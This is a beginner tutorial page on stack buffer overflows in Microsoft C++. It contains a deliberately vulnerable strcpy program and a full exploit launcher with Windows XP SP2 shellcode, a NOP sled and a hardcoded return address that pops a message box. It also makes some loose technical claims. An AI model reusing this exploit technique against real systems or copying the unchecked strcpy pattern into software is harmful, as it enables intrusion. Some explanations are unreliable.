.: Links :.

Home | Forums | Desert Computer Agents

.: Study Of MS C++ Buffer Overflows:.
By Nicholas A. Hall

buffer overflow? A BOF is when a computer isolates a spot in the memory to store information and is filled with more than it was made, usually by accident this will accrue due to poor programming to check if the space is big enough.


Q: How can this be an issue?
A: Well not to get to into it here at the start but the "EIP" & "EBP" (Extended Base/Instruction Pointer) lay not too far from when can be overwritten due to a buffer overflow and if they are can be made to change the direction of the program!


Q: What is the "EIP" & "EBP" for?
A: The EBP is a number that is set aside to tell the computer on where the "Stack" of the information is stored. Basically like giving a person a number to stand in line.
The EIP is a big one and it lies right above the EBP number and is responsible for telling the computer what to do next and if takeing control of it can make a program go directly to a different part of the code it originally would not go to.


Q: So you’re telling me if a program needed a Password to access another part of a program you can get around it with such an Exploit?
A: In allot of cases if such a Vaulnerabity exist in the application you can technical be able to have the application do ANYTHING from shutting down the computer to compromising the box and giving a message box with the text "Monkey".


Q: Alright! Where do we start?!
A: Right here but first there are a couple of things you need to know including a basic understanding of CPP


1: Ram, Memory is isolated to store information, Like you digging up a hole in the dirt getting ready to put items in the hole to be stored so later you can come back and dig it up. When holes are dug you dig one hole right next to the one before it in a perfect little line, an example of Memory being isolated. Now let’s say every hole you’ve dug so far has a number let’s say 1 thru 10. Each hole has a cretin amount of space on the inside let’s say each hole can hold a cretin amount, in this example we will say, Cups of water! Each hole can hold... 4 cups of water. 4 being a random number, it can be 5 or 10 or 1000 but in this example we will choose 4. Now for each cup of water each cup can hold let’s say one letter or should we say Character like "A" "E" "I" "Y" "Z". Any character. Now we can only fit four letters/Characters in each hole. So let’s say in hole "1" we put the character "AAA" in the hole and then in hole "2" we put "BBB" alright great. This would look something like this in CPP
char hole1[4];
char hole2[4];
strcpy(hole1, "AAA");
strcpy(hole2, "BBB");
Now we have Holes we can Reference to for Data.


2: How the Stack Is Arranged.
[EIP]
[EBP] <- This Variable Contain a Random Value and at this time we don’t care same goes for EIP
[hole1] <- This Variable Contains "AAA"
[hole2] <- This Variable Contains "BBB"


3: Information is stored in ram is stored Binary and for us to read we can convert that to HEX because it’s shorter! Instead of reading 01000001 for A we just read 0x41 (Note: The '0x' just tells us that it’s a HEX figure, all we care about is the 41), It’s just plain and simple it’s 4 times less for us to read!


4: What the difference is between ASCII, Decimal, Binary, And HEX. Very Simple just Google it. We as Humans read ASCII ("American Standard Code for Information Interchange"). Decimal is what us Humans use for Math and is Base 10. Binary are what computers read. Hex is what Humans read to read Computer Language. It’s a good idea to read up on how one is converted to one another so you know how A is = to 61 in Decimal and 0x41 in Hex and 01000001 in Binary! It’s pretty simple.


5: Every program made with 32Bit processors start off the .Text segment on address 00401000. This is where Function like Main is stored and Other Instruction for Other functions are stored, NOT VARIABLES JUST Function Instructions. In my computer my function main() was located on address 00401014, That is only 20 spaces down from 00401000. I’m not 100% but it’s those spaces are probley just header information that an EXE needs to operate.
If I declare code like this...

[CODE]

#include <iostream.h> // For cin & cout
#include <string.h> // For strcpy & strcmp
#include <stdio.h> // For fprintf & stderr
#include <stdlib.h> // For exit

/*
main.cpp - demonstrates a buffer overflow
"\0" Null Termanator At The End Of EveryString, Null Termanator counts as one Char
*/
void function()
{
cout << "function" <<endl;
return;
}

void function2()
{
cout << "function2" <<endl;
return;
}

void function3()
{
cout << "function3" <<endl;
return;
}

void main(void)
{
char buffer0[4];
char buffer1[4];
char buffer2[4];
char buffer3[4];
char buffer4[4];
char buffer5[4];

strcpy(buffer0, "aaa"); // This really becomes aaa\0
strcpy(buffer1, "bbb"); // This really becomes bbb\0
strcpy(buffer2, "ccc"); // This really becomes ccc\0
strcpy(buffer3, "ddd"); // This really becomes ddd\0
strcpy(buffer4, "eee"); // This really becomes eee\0
strcpy(buffer5, "fff"); // This really becomes fff\0

cout << "Main: " << &main << endl;
cout << "function: " << &function << endl;
cout << "function2: " << &function2 << endl;
cout << "function3: " << &function3 << endl;

cout<<"Buffer0: "<<&buffer0<<" Value: "<<buffer0<<endl;
cout<<"Buffer1: "<<&buffer1<<" Value: "<<buffer1<<endl;
cout<<"Buffer2: "<<&buffer2<<" Value: "<<buffer2<<endl;
cout<<"Buffer3: "<<&buffer3<<" Value: "<<buffer3<<endl;
cout<<"Buffer4: "<<&buffer4<<" Value: "<<buffer4<<endl;
cout<<"Buffer5: "<<&buffer5<<" Value: "<<buffer5<<endl;

cout<<endl;

strcpy(buffer5, "AAAAAAAAAAAAAAAAAAAAAAAA"); //24 A's
//strcpy(buffer5, "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"); //28 A's Last 4 A's Would Overwrite EBP with 41 in Hex
//strcpy(buffer5, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); //32 A's Last 4 A's Would Overwrite EBP & EIP with 41 in Hex

cout<<"Buffer0: "<<&buffer0<<" Value: "<<buffer0<<endl;
cout<<"Buffer1: "<<&buffer1<<" Value: "<<buffer1<<endl;
cout<<"Buffer2: "<<&buffer2<<" Value: "<<buffer2<<endl;
cout<<"Buffer3: "<<&buffer3<<" Value: "<<buffer3<<endl;
cout<<"Buffer4: "<<&buffer4<<" Value: "<<buffer4<<endl;
cout<<"Buffer5: "<<&buffer5<<" Value: "<<buffer5<<endl;

if(!strcmp(buffer0, "AAAA"))
{
cout<<endl<<"Congrats Buffer Overflow Accured =)"<<endl;
}
else
{
cout<<endl<<"Goal not met yet! :'("<<endl;
}

}

[/CODE]

I got the following as a responce

Main: 0x00401014

function: 0x00401037

function2: 0x00401032

function3: 0x0040102d

Take notice that the function are allocated pretty close to address 00401000!

Now here comes the fun part!

First thing first! again more things you got to know!

1: Shellcode, What is it? Shellcode is Machine code, as you read before Computers read nothing but binary! BUT! We as Humans can use HEX to tell the Machine what to do because the Compiler that CPP uses can translate that directly to Binary for us!

2:Iin order for use to exploit a Buffer it has to be big enough to fill our shellcode in with to do something. a buffer thats bigger then 150 WaterCups deep is more then enough to run a messagebox command on the system to say soemthing funny or shutdown the computer!

3: some more on CPP

[code]

#include <iostream.h> // For cin & cout
#include <string.h> // For strcpy & strcmp
#include <stdio.h> // For fprintf & stderr
#include <stdlib.h> // For exit
int main(int argc,char *argv[]){

char buf[256];
if (argc != 2) // if not only one arg passed
{
cout << "Wrong ARGS!" << endl;
return -1;
} //check how many arguments we got
strcpy(buf,argv[1]); // copying userinput without any limit <- a Buffer overflow
cout << buf << endl;
cout << "Buffer Created For Shellcode Overflow, Address At " << &buf<< endl;
return 0x0;
}

[/CODE]

As you see, This code is fairly simple. This code mainly does 3 things for us!

1: It makes a Buffer that we will later use to exploit

2: It allows us to pass a argument so we can give the program input! Ideal for us giving it Shellcode.

3: It makes it so easy because this program tells us the exact address that we need to fill EIP with to point back to the buffer so we can run our self created Shellcode!

[CODE]

#include <stdio.h>
#include <iostream.h>
#include <string.h>
#include <windows.h>

#define NOP 0x90 // use NOPs padding
#define SIZEOFBUFFER 256 // Buffer Size For NOP Fill
#define SIZEOFSHELLCODE strlen(ShellCode) // Buffer Size For Shellcode Fill 110
#define SIZEOFNOPSLED 256 - 110//SIZEOFBUFFER - SIZEOFSHELLCODE

char ShellCode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb" //SHELLCODE For windows xp sp2 32bit
"\x77\x1d\x80\x7c" //***LoadLibraryA(libraryname) IN WinXP sp2***
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
"\xa0\xad\x80\x7c" //***GetProcAddress(hmodule,functionname) IN sp2***
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51" //51 Bytes
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff"
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"
"\xff\x4f\x6d\x65\x67\x61\x37\x4e"; // Message Box Omega7 59 bytes
//59 + 51 = 110 Bytes

char EXE[12] = "main.exe "; //Path To Vulnerable Exe
char NOPSLED[SIZEOFNOPSLED]; // Size Of NOPSLED TO Fill In Vuln Buffer
char EBP[8] = "XXXX"; //Set EBP To Vulnerable Exe
char EIP[8] = "\x60\xFE\x12\x00"; //EIP To Set On Vulnerable Exe to Vuln Buffer
char ExploitString[12 + SIZEOFBUFFER + 16]; //Size Of EXE Length 10 + 256 for Vuln Buffer + 16 for EBP AND EIP = 284

void main()
{ //Create On Long String To Execute Exploit Called ExploitString
strcat(ExploitString,EXE); //Copy Exe Name To String
memset(NOPSLED,NOP,SIZEOFNOPSLED);//FILL NOPS In NOPSLED
strcat(ExploitString,NOPSLED); //Copy The NOPS To String
strcat(ExploitString,ShellCode); //Copy Shellcode To Fill The Remaining Of the String Perfectly
strcat(ExploitString,EBP); //Copy New EBP To String
strcat(ExploitString,EIP); //Copy New EIP To String
cout << strlen(ExploitString) << endl;
cout << SIZEOFBUFFER - SIZEOFSHELLCODE << endl;
cout << SIZEOFNOPSLED << endl;
cout << strlen(ShellCode) << endl;
cout << strlen(ExploitString) + strlen(ShellCode) << endl;
WinExec( ExploitString, 0 ); //Execute String To Vulnerable Exe
}

[/CODE]